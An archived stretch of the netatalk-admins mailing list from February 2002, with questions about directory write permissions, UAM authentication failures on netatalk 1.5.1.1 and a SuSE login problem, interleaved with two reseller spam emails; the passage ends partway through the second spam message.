
Problem:

I am trying to allow User-A to write to a directory owned by User-Bs
directory. I have afpoverip running on a afpoverip server (netatalk
1.5.1.1). I have the users as described below:

- User 'UserA' & 'UserB'  are members of group 'GroupC'
- UserB shall be allowed to WRITE to the Upload (owned by UserA)

I have defined the following attributes on hte directories:

/home/UserA
     Owner: UserA.GroupC
     Acess: rwxr-xr-x

/home/UserA/Upload:
     Owner: UserB.GroupC
     Access: rwx-wx-wx

When I log into UserA, I am not able to drop files 'DIRECTLY' into the
'Upload' directory. But when UserA  drops a file/directory into
/home/UserA, and then MOVES the file/directory into /home/userA/Upload,
then it works!

What have I done wrong? How can I avoid the indirect 'DROP' operation (COPY
and then MOVE)? I get 'error 43' when I try to upload to /home/UserA/Upload
directly. When I look into the directory, the files have been created, but
NOT WRITTEN to (that is, zero bytes in both ".AppleDouble' directory and
the actual file/directory itself).

Is there a more general method to this 'UPLOAD WRITE' problem?

Regards
Per Erik



From netatalk.administrators-errors@umich.edu  Mon Feb  4 06:10:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA10751
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 06:10:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA26583
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 06:10:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA26581
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 06:10:58 -0500 (EST)
Received: from samplezone.ch ([212.55.202.142])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA26492
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 06:10:41 -0500 (EST)
Date: Mon,  4 Feb 2002 12:10:35 +0100
Message-Id: <200202041210.AA79693024@samplezone.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Rolf Schoepfer" <rolf@samplezone.ch>
Reply-To: <rolf@samplezone.ch>
To: <netatalk-admins@umich.edu>
Subject: Re: uam: uam not found
X-Mailer: <IMail v7.05>

---------- Original Message ----------------------------------
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Date:  Sat, 02 Feb 2002 01:14:42 +0100

>am 02.02.2002 1:03 Uhr schrieb Rolf Schoepfer:
>
>> From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
>> [...]
>>> Which path for the UAMs did you supply while configuring
>>> (--with-uams-path=)?
>>> 
>> 
>> I didn't specify this parameter.
>
>And if you try it with this parameter set?

Do I need to unpack shadow-suite and point --with-uams-path to this directory?

>
>> It defaults to /usr/lib/netatalk and there are some libraries for guest and
>> passwd. There's unfortunately a wrong link for uams_clrtxt.so, which points to
>> a no existing library uams_pam.so.
>
>Did you configure with '-with-pam'?

No, i didn't:

./configure --with-shadow --enable-fhs --sysconfdir=/etc/config --with-flock-locks

>
>> After changing this link pointing to uams_passwd.so, I get on the Mac the
>> login window. But it doesn't accept username / password.
>
>What messages appear in syslog?

------------------ start /usr/sbin/atalkd ---------------------
Feb  4 10:07:42 www atalkd[118]: restart (1.5.1.1)
Feb  4 10:07:43 www atalkd[118]: zip_getnetinfo for eth0
Feb  4 10:08:02 www last message repeated 2 times
Feb  4 10:08:12 www atalkd[118]: config for no router
Feb  4 10:08:13 www atalkd[118]: ready 0/0/0
------------------ start /usr/sbin/afpd ---------------------
Feb  4 10:08:34 www afpd[120]: sample:AFPServer@* started on 65280.168:128 (1.5.1.1)
Feb  4 10:08:34 www afpd[120]: ASIP started on 10.10.10.197:548(1) (1.5.1.1)
Feb  4 10:08:34 www afpd[120]: uam: loading (/usr/lib/netatalk/uams_clrtxt.so)
Feb  4 10:08:34 www afpd[120]: uam: uams_clrtxt.so loaded
Feb  4 10:08:34 www afpd[120]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
Feb  4 10:08:34 www afpd[120]: uam: uam not found (status=-1)
Feb  4 10:08:34 www afpd[120]: uam: "Cleartxt Passwrd" available
------------------ choose linuxbox ---------------------
Feb  4 10:08:38 www afpd[121]: ASIP session:548(1) from 10.10.10.202:49152(2)
Feb  4 10:08:38 www afpd[120]: server_child[1] 121 done
------------------ user /pwd -> fails ---------------------
Feb  4 10:09:16 www afpd[122]: ASIP session:548(1) from 10.10.10.202:49153(2)
Feb  4 10:09:16 www afpd[122]: cleartext login: szrolf
Feb  4 10:09:16 www afpd[122]: 0.08KB read, 0.07KB written
Feb  4 10:09:16 www afpd[120]: server_child[1] 122 done

>
>BTW: If you are trying this as root, it will always fail.

We logon with another user.


Kind regards

Rolf

From netatalk.administrators-errors@umich.edu  Mon Feb  4 06:59:50 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA12358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 06:59:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA23409
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 06:59:49 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA23402
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 06:59:49 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA23374
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 06:59:47 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA13915;
	Mon, 4 Feb 2002 13:26:08 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 04 Feb 2002 12:59:51 +0100
Subject: Re: uam: uam not found
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <rolf@samplezone.ch>, <netatalk-admins@umich.edu>
Message-ID: <B8843647.1AD28%Thomas.Kaiser@phg-online.de>
In-Reply-To: <200202041210.AA79693024@samplezone.ch>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 04.02.2002 12:10 Uhr schrieb Rolf Schoepfer:

> ------------------ start /usr/sbin/afpd ---------------------
> Feb  4 10:08:34 www afpd[120]: sample:AFPServer@* started on 65280.168:128
> (1.5.1.1)
> Feb  4 10:08:34 www afpd[120]: ASIP started on 10.10.10.197:548(1) (1.5.1.1)
> Feb  4 10:08:34 www afpd[120]: uam: loading (/usr/lib/netatalk/uams_clrtxt.so)
> Feb  4 10:08:34 www afpd[120]: uam: uams_clrtxt.so loaded
> Feb  4 10:08:34 www afpd[120]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
> Feb  4 10:08:34 www afpd[120]: uam: uam not found (status=-1)

Okay. That means, either in your netatalk.conf or directly in afpd.conf you
want both UAMs to be loaded by specifying them with -U... ?

> Feb  4 10:08:34 www afpd[120]: uam: "Cleartxt Passwrd" available

If you run configure, do you get those lines:

    checking for SSL... /usr (enabling RANDNUM and DHX support)
    checking for main in -lcrypto... yes
    checking for main in -ldes... yes

(you need OpenSSL to get the better authentication schemes DHX and (2 Way)
RandNum working)

Leland provided us with an overview about the many authentication schemes:
<ftp://terminator.rsug.itd.umich.edu/unix/netatalk/archive/netatalk-admins-m
ail/0647.html>

> ------------------ choose linuxbox ---------------------
> Feb  4 10:08:38 www afpd[121]: ASIP session:548(1) from 10.10.10.202:49152(2)
> Feb  4 10:08:38 www afpd[120]: server_child[1] 121 done
> ------------------ user /pwd -> fails ---------------------
> Feb  4 10:09:16 www afpd[122]: ASIP session:548(1) from 10.10.10.202:49153(2)
> Feb  4 10:09:16 www afpd[122]: cleartext login: szrolf
> Feb  4 10:09:16 www afpd[122]: 0.08KB read, 0.07KB written
> Feb  4 10:09:16 www afpd[120]: server_child[1] 122 done

And your shadow passwords working correctly?

>> BTW: If you are trying this as root, it will always fail.
> 
> We logon with another user.

Strange. I would try to avoid using cleartext passwords. MacOS X 10.0.x had
problems with it. Maybe older MacOS versions also?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb  4 10:37:11 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA22750
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 10:37:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA28848
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 10:37:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA28823
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 10:37:10 -0500 (EST)
Received: from samplezone.ch ([212.55.202.142])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA28770
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 10:37:07 -0500 (EST)
Date: Mon,  4 Feb 2002 16:37:06 +0100
Message-Id: <200202041637.AA49349846@samplezone.ch>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Rolf Schoepfer" <rolf@samplezone.ch>
Reply-To: <rolf@samplezone.ch>
To: <netatalk-admins@umich.edu>
Subject: Re: uam: uam not found
X-Mailer: <IMail v7.05>

---------- Original Message ----------------------------------
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
Date:  Mon, 04 Feb 2002 12:59:51 +0100

>am 04.02.2002 12:10 Uhr schrieb Rolf Schoepfer:
>
>> ------------------ start /usr/sbin/afpd ---------------------
>> Feb  4 10:08:34 www afpd[120]: sample:AFPServer@* started on 65280.168:128
>> (1.5.1.1)
>> Feb  4 10:08:34 www afpd[120]: ASIP started on 10.10.10.197:548(1) (1.5.1.1)
>> Feb  4 10:08:34 www afpd[120]: uam: loading (/usr/lib/netatalk/uams_clrtxt.so)
>> Feb  4 10:08:34 www afpd[120]: uam: uams_clrtxt.so loaded
>> Feb  4 10:08:34 www afpd[120]: uam: loading (/usr/lib/netatalk/uams_dhx.so)
>> Feb  4 10:08:34 www afpd[120]: uam: uam not found (status=-1)
>
>Okay. That means, either in your netatalk.conf or directly in afpd.conf you
>want both UAMs to be loaded by specifying them with -U... ?
>

Right, this is the default setting in afpd.conf specified by uamlist.

>> Feb  4 10:08:34 www afpd[120]: uam: "Cleartxt Passwrd" available
>
>If you run configure, do you get those lines:
>
>    checking for SSL... /usr (enabling RANDNUM and DHX support)
YES

>    checking for main in -lcrypto... yes
YES

>    checking for main in -ldes... yes
NO ( is this the problem? )

>(you need OpenSSL to get the better authentication schemes DHX and (2 Way)
>RandNum working)
>
>Leland provided us with an overview about the many authentication schemes:
><ftp://terminator.rsug.itd.umich.edu/unix/netatalk/archive/netatalk-admins-m
>ail/0647.html>
>
>> ------------------ choose linuxbox ---------------------
>> Feb  4 10:08:38 www afpd[121]: ASIP session:548(1) from 10.10.10.202:49152(2)
>> Feb  4 10:08:38 www afpd[120]: server_child[1] 121 done
>> ------------------ user /pwd -> fails ---------------------
>> Feb  4 10:09:16 www afpd[122]: ASIP session:548(1) from 10.10.10.202:49153(2)
>> Feb  4 10:09:16 www afpd[122]: cleartext login: szrolf
>> Feb  4 10:09:16 www afpd[122]: 0.08KB read, 0.07KB written
>> Feb  4 10:09:16 www afpd[120]: server_child[1] 122 done
>
>And your shadow passwords working correctly?

Under Linux, login works fine and it uses /etc/shadow ( I'm not sure if this is enough to tell it works correctly ).
OK, I tried a few things:

- Guest login: yeah it works
- use only uams_clrtxt: login fails
- use only uams_dhx: login fails

- after that I compiled without shadow
   - pwunconv ( shadow -> passwd )
   - vi /etc/passwd and removed password from User
   - checked Linux login: ok
   - use only uams_clrtxt: login fails
   - use only uams_dhx: login fails

Is there any Debug Flag to get more detailed information what's wrong?

>
>>> BTW: If you are trying this as root, it will always fail.
>> 
>> We logon with another user.
>
>Strange. I would try to avoid using cleartext passwords. MacOS X 10.0.x had
>problems with it. Maybe older MacOS versions also?
>
>Regards,
>
>Thomas
>
>

From netatalk.administrators-errors@umich.edu  Mon Feb  4 21:56:22 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA06729
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 21:56:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA26736
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 21:56:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA26718
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 21:56:21 -0500 (EST)
Received: from email4.gm20.com (email4.gm20.com [164.109.174.93])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA26685
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 21:56:20 -0500 (EST)
Message-ID: <6159194.1012877778596.Kada.Kada1(pc-93)@email4.gm20.com>
Date: Mon, 4 Feb 2002 21:56:18 -0500 (EST)
From: "marketing@aboutjcmorris.com" <cmprn110140@gm20.com>
To: netatalk-admins@umich.edu
Subject: Company Merger
Mime-Version: 1.0
Content-Type: multipart/alternative; 
	boundary="----=_Part_42430_2495936.1012877778596"

------=_Part_42430_2495936.1012877778596
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

YOU ARE RECEIVING THIS EMAIL BECAUSE YOU HAVE EXPRESSED INTEREST IN PRODUCT=
S THAT WE CAN SAVE YOU MONEY ON.  IF YOU WOULD LIKE TO BE REMOVED FROM OUR =
MAILING LIST PLEASE CLICK THE UNSUBSCRIBE LINK AT THE BOTTOM OF THIS EMAIL.=
 WE CAN ASSURE YOU THAT YOU WILL BE REMOVED IMMEDIATELY.
=09=09
IImportant Announcement from J.C. Morris & Company
=09=09=09=09=09=09=09=09=09=09=09=09=09=09

For the past few years, our customers have enjoyed the ability to purchase =
computers and related products from manufacturers like Sony, Apple, IBM, To=
shiba and Compaq at prices below wholesale.  J.C. Morris & Company has been=
 able to accomplish this because of our direct relationship with distributo=
rs that use our Advertising & Marketing Services.

Now, J.C. Morris & Company has teamed up with and additional distributor, A=
llied Interactive Micro-Systems, a company that specializes in the world-wi=
de distribution of computer hardware, software and electronics, from manufa=
cturers like Bose, Pioneer and Canon.

Here=92s your chance to get to know us, and from now until February 8, 2002=
 if you visit us on-line or in person and would like to make a purchase, we=
 will give you an additional 30% off our current selling price.

This is our way of saying thank you for taking the time to visit our compan=
y.

Should you have any questions please feel free to call us at 1-800-845-6215=
 or direct at 404-521-3624.  If you would like to be remove from our mailin=
g list just click on the link below.=20

Sincerely,
Jim Morris
Vice President
J.C. Morris & Company
http://gm12.com/r.html?c=3D110218&r=3D110140&t=3D18305301&l=3D1&d=3D8163453=
&u=3Dhttp://www.aboutjcmorris.com
=09=09


Apple iMac
$1099.00
=09=09
http://gm12.com/r.html?c=3D110218&r=3D110140&t=3D18305301&l=3D1&d=3D8163453=
&u=3Dhttp://www.aboutjcmorris.com
=09=09
Tower Place Center Suite 1800, 3340 Peachtree Road NE
Atlanta, GA 30326
1-888-567-2444

Click here: mailto:cmprn110140@gm20.com?subject=3Dunsubscribe!netatalk-admi=
ns@umich.edu!18305301 to unsubscribe from our mailing list.  Or reply to th=
is message with the word unsubscribe in the subject line.
------=_Part_42430_2495936.1012877778596
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html>=09=09<head>=09=09=09=09<title>eNewsletter 2</title>=09=09=09<style t=
ype=3D"text/css">=09=09=09<!--=09=09=09=09.bold20 {font-weight:bold; color:=
#FFFFFF}=09=09=09=09.reg20 {color:#FFFFFF}=09=09=09=09=09=09=09=09.bold21 {=
font-weight:bold; color:cc0000}=09=09=09=09.reg21 {color:cc0000}=09=09=09=
=09=09=09=09=09.bold22 {font-weight:bold; color:#FFFFFF}=09=09=09=09.reg22 =
{color:#FFFFFF}=09=09=09=09=09=09=09=09.bold23 {font-weight:bold; color:#00=
0000}=09=09=09=09.reg23 {color:#000000}=09=09=09=09=09=09=09=09.bold24 {fon=
t-weight:bold; color:#000000}=09=09=09=09.reg24 {color:#000000}=09=09=09=09=
=09=09=09=09.bold25 {font-weight:bold; color:#000000}=09=09=09=09.reg25 {co=
lor:#000000}=09=09=09=09=09=09=09=09.bold27 {font-weight:bold; color:#00000=
0}=09=09=09=09.reg27 {color:#000000}=09=09=09=09=09=09=09=09.bold28 {font-w=
eight:bold; color:#000000}=09=09=09=09.reg28 {color:#000000}=09=09=09=09=09=
=09=09=09-->=09=09=09=09</style>=09=09</head>=09=09<body bgcolor=3D"#ffffff=
">=09=09<table width=3D"90%"  border=3D0 cellspacing=3D'5' cellpadding=3D'5=
'>=09=09=09<tr>=09=09=09=09=09<td colspan=3D'3' align=3D'center' bgcolor=3D=
'#FFFFFF' valign=3D'middle'><br><font face=3D'Verdana,Arial, Helvetica,sans=
-serif' size=3D'4' class=3D'bold21'><font size=3D"1"><b><div align=3D"left"=
>YOU ARE RECEIVING THIS EMAIL BECAUSE YOU HAVE EXPRESSED INTEREST IN PRODUC=
TS THAT WE CAN SAVE YOU MONEY ON.  IF YOU WOULD LIKE TO BE REMOVED FROM OUR=
 MAILING LIST PLEASE CLICK THE UNSUBSCRIBE LINK AT THE BOTTOM OF THIS EMAIL=
. WE CAN ASSURE YOU THAT YOU WILL BE REMOVED IMMEDIATELY.</div></B></FONT><=
/font>=09=09</td>=09=09</tr>=09=09<tr>=09=09=09<td colspan=3D'3' align=3D'c=
enter' bgcolor=3D'#000000' valign=3D'bottom'><font face=3D'Verdana,Arial, H=
elvetica,sans-serif' size=3D'3' class=3D'bold22'><font color=3D"black"><fon=
t size=3D"7">I</font></font>Important Announcement from J.C. Morris & Compa=
ny</font>=09=09</td>=09=09</tr>=09=09<tr>=09=09=09=09=09<td width=3D'20%' v=
align=3D'top' bgcolor=3D'#000000'>=09=09=09=09<center>=09=09=09=09<img bord=
er=3D0 src=3D"http://store4.yimg.com/I/jcmreseller_1670_274630" alt=3D"">=
=09=09=09=09<br>=09=09=09=09=09=09=09=09<p>=09=09=09=09=09=09=09=09<br>=09=
=09=09=09=09=09=09=09<p>=09=09=09=09=09=09=09=09<br>=09=09=09=09=09=09=09=
=09<p>=09=09=09=09=09=09=09=09<br>=09=09=09=09=09=09=09=09<p>=09=09=09=09=
=09=09=09=09<br>=09=09=09=09=09=09</center>=09=09=09</td>=09=09=09=09=09<td=
 width=3D'60%' valign=3D'top' bgcolor=3D'#FFFFFF'>=09=09=09=09<a name=3D'mi=
ddle'><a>=09=09=09=09<font face=3D'Verdana,Arial, Helvetica,sans-serif' siz=
e=3D'2' class=3D'bold24'><b><a name=3D"contentBlock1"></a></font></b><br><f=
ont face=3D'Verdana,Arial, Helvetica,sans-serif' size=3D'2' class=3D'reg24'=
>For the past few years, our customers have enjoyed the ability to purchase=
 computers and related products from manufacturers like Sony, Apple, IBM, T=
oshiba and Compaq at prices below wholesale.  J.C. Morris & Company has bee=
n able to accomplish this because of our direct relationship with distribut=
ors that use our Advertising & Marketing Services.<br><br>Now, J.C. Morris =
& Company has teamed up with and additional distributor, Allied Interactive=
 Micro-Systems, a company that specializes in the world-wide distribution o=
f computer hardware, software and electronics, from manufacturers like Bose=
, Pioneer and Canon.<br><br>Here=92s your chance to get to know us, and fro=
m now until February 8, 2002 if you visit us on-line or in person and would=
 like to make a purchase, we will give you an additional 30% off our curren=
t selling price.<br><br>This is our way of saying thank you for taking the =
time to visit our company.<br><br>Should you have any questions please feel=
 free to call us at 1-800-845-6215 or direct at 404-521-3624.  If you would=
 like to be remove from our mailing list just click on the link below. <br>=
<br>Sincerely,<br>Jim Morris<br>Vice President<br>J.C. Morris & Company<br>=
<a href=3D"http://gm12.com/r.html?c=3D110218&r=3D110140&t=3D18305301&l=3D1&=
d=3D8163453&u=3Dhttp://www.aboutjcmorris.com"><font face=3D'Verdana,Arial, =
Helvetica,sans-serif' size=3D'2' class=3D'reg24'>Come visit us today!</font=
><p></a></font><p>=09=09=09</td>=09=09=09=09=09<td width=3D'20%' align=3D'l=
eft' valign=3D'top' bgcolor=3D'#FFFFFF'>=09=09=09=09<center>=09=09<br><br>=
=09=09=09=09</center>=09=09=09=09<br><br>=09=09=09=09<font face=3D'Verdana,=
Arial, Helvetica,sans-serif' size=3D'2' class=3D'bold28'><b><a name=3D"cont=
entBlock1000"></a></font></b><br><font face=3D'Verdana,Arial, Helvetica,san=
s-serif' size=3D'2' class=3D'reg28'><center><a href=3D"http://gm12.com/r.ht=
ml?c=3D110218&r=3D110140&t=3D18305301&l=3D1&d=3D8163454&u=3Dhttp://www.stor=
e.yahoo.com/jcmorris/index.html"><img src=3D"http://store6.yimg.com/I/jcmor=
ris_1673_47954" border=3D"0"><br><br>Apple iMac<br><h3>$1099.00</h3></cente=
r></font><p>=09=09=09=09=09</td>=09=09=09</tr>=09=09<tr>=09=09<td colspan=
=3D'3' bgcolor=3D'#FFFFFF'>=09=09=09=09<center><font face=3D'Verdana,Arial,=
 Helvetica,sans-serif' size=3D'2' class=3D'reg25'><a href=3D"http://gm12.co=
m/r.html?c=3D110218&r=3D110140&t=3D18305301&l=3D1&d=3D8163453&u=3Dhttp://ww=
w.aboutjcmorris.com"><font face=3D'Verdana,Arial, Helvetica,sans-serif' siz=
e=3D'2' class=3D'reg25'>Visit our Company on-line!</font></a></font>=09=09<=
/center>=09=09</td>=09=09</tr>=09=09<tr>=09=09=09<td align=3D'center' colsp=
an=3D'3' bgcolor=3D'#FFFFFF'><font face=3D'Verdana,Arial, Helvetica,sans-se=
rif' size=3D'2' class=3D'reg23'><center>Tower Place Center Suite 1800, 3340=
 Peachtree Road NE<br><br>Atlanta, GA 30326<br><br>1-888-567-2444</center><=
/font><br>=09=09</td>=09=09=09</tr>=09=09</table>  =09=09</body>=09=09</htm=
l><html><body><hl><br><br>
<FONT SIZE=3D"1" FACE=3D"Geneva,Arial,Helvetica,Swiss,SunSans-Regular"><a h=
ref=3D"mailto:cmprn110140@gm20.com?subject=3Dunsubscribe!netatalk-admins@um=
ich.edu!18305301">Click here</a> to unsubscribe from our mailing list.  Or =
reply to this message with the word unsubscribe in the subject line.
</font><br><hl></body></html><html><body><hl><br>
<img src=3D'http://gm12.com/app/campaigner/trk/opn.jsp?cid=3D110218&rid=3D1=
10140&ctd=3D18305301&lid=3D8163455' width=3D'2' height=3D'2' >
<br><hl></body></html>
------=_Part_42430_2495936.1012877778596--



From netatalk.administrators-errors@umich.edu  Mon Feb  4 23:00:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA10723
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Feb 2002 23:00:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA11541
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Feb 2002 23:00:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA11528
	for netatalk.administrators-members@umich.edu; Mon, 4 Feb 2002 23:00:23 -0500 (EST)
Received: from chmls20.mediaone.net (chmls20.ne.ipsvc.net [24.147.1.156])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA11461
	for <netatalk-admins@umich.edu>; Mon, 4 Feb 2002 23:00:16 -0500 (EST)
Received: from [192.168.1.100] (pruscito2.ne.mediaone.net [24.147.141.171])
	by chmls20.mediaone.net (8.11.1/8.11.1) with ESMTP id g15428x19995;
	Mon, 4 Feb 2002 23:02:09 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1309
Date: Mon, 04 Feb 2002 23:00:03 -0500
Subject: Problem logging into Suse Netatalk and OS 10.1.2
From: Paul Ruscito <pruscito@mediaone.net>
To: <netatalk-admins@umich.edu>
CC: Paul Ruscito <Paul.Ruscito@oracle.com>
Message-ID: <B884C2F3.3EC%pruscito@mediaone.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

All,

Please Help.

I have been going crazy trying to set up a Netatalk share in suse7.2 for my
Mac OS10.1.2 machine to access and am having a problem. Here goes:

I have configured system. This is my AppleVolumes.default

~ "Home Directory"
/u02/apple_linux "Apple Linux"

Both these shares show up after I send the login information to Linux. As
soon as I try to open one it returns an error message stating that the
server has closed connection.

I think I am having a clear text password problem but have no idea how to
diagnose. Another thing I have noticed is that I can ping the IP of Linux
but cannot ping by machine name.

Thanks in advance,
Paul


From netatalk.administrators-errors@umich.edu  Tue Feb  5 02:26:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA20910
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Feb 2002 02:26:13 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA12603
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Feb 2002 02:26:12 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA12527
	for netatalk.administrators-members@umich.edu; Tue, 5 Feb 2002 02:26:11 -0500 (EST)
Received: from email2.gm20.com (email2.gm20.com [164.109.168.72])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id CAA12414
	for <netatalk-admins@umich.edu>; Tue, 5 Feb 2002 02:26:06 -0500 (EST)
Message-ID: <4288732.1012893962068.Kada.Kada1(pc-72)@email2.gm20.com>
Date: Tue, 5 Feb 2002 02:26:02 -0500 (EST)
From: "marketing@aboutjcmorris.com" <cmprn111169@gm20.com>
To: netatalk-admins@umich.edu
Subject: Company Merger
Mime-Version: 1.0
Content-Type: multipart/alternative; 
	boundary="----=_Part_195632_2112505.1012893962068"

------=_Part_195632_2112505.1012893962068
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

YOU ARE RECEIVING THIS EMAIL BECAUSE YOU HAVE EXPRESSED INTEREST IN PRODUCT=
S THAT WE CAN SAVE YOU MONEY ON.  IF YOU WOULD LIKE TO BE REMOVED FROM OUR =
MAILING LIST PLEASE CLICK THE UNSUBSCRIBE LINK AT THE BOTTOM OF THIS EMAIL.=
 WE CAN ASSURE YOU THAT YOU WILL BE REMOVED IMMEDIATELY.
=09=09
IImportant Announcement from J.C. Morris & Company
=09=09=09=09=09=09=09=09=09=09=09=09=09=09

For the past few years, our customers have enjoyed the ability to purchase =
computers and related products from manufacturers like Sony, Apple, IBM, To=
shiba and Compaq at prices below wholesale.

Now, J.C. Morris & Company has teamed up with an additional distributor, Al=
lied Interactive Micro-Systems, a company that specializes in the world-wid=
e distribution of computer hardware, software and electronics, from manufac=
turers like Bose, Pioneer and Canon.

Here=92s your chance to get to know us, and from now until February 10, 200=
2 if you visit us on-line or in person and make a purchase, we will give yo=
u an additional 25% off our current price.  This is our way of saying thank=
 you for taking the time to visit our company.

Sincerely,
Jim Morris
Vice President
J.C. Morris & Company
http://gm12.com/r.html?c=3D111249&r=3D111169&t=3D17547348&l=3D1&d=3D8169973=
&u=3Dhttp://www.aboutjcmorris.com
=09=09


Apple iMac
$899.95
=09=09
http://gm12.com/r.html?c=3D111249&r=3D111169&t=3D17547348&l=3D1&d=3D8169973=
&u=3Dhttp://www.aboutjcmorris.com
=09=09
Tower Place Center Suite 1800, 3340 Peachtree Road NE
Atlanta, GA 30326
1-800-845-6215

Click here: mailto:cmprn111169@gm20.com?subject=3Dunsubscribe!netatalk-admi=
ns@umich.edu!17547348 to unsubscribe from our mailing list.  Or reply to th=
is message with the word unsubscribe in the subject line.
------=_Part_195632_2112505.1012893962068
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<html>=09=09<head>=09=09=09=09<title>eNewsletter 2</title>=09=09=09<style t=
ype=3D"text/css">=09=09=09<!--=09=09=09=09.bold20 {font-weight:bold; color:=
#FFFFFF}=09=09=09=09.reg20 {color:#FFFFFF}=09=09=09=09=09=09=09=09.bold21 {=
font-weight:bold; color:cc0000}=09=09=09=09.reg21 {color:cc0000}=09=09=09=
=09=09=09=09=09.bold22 {font-weight:bold; color:#FFFFFF}=09=09=09=09.reg22 =
{color:#FFFFFF}=09=09=09=09=09=09=09=09.bold23 {font-weight:bold; color:#00=
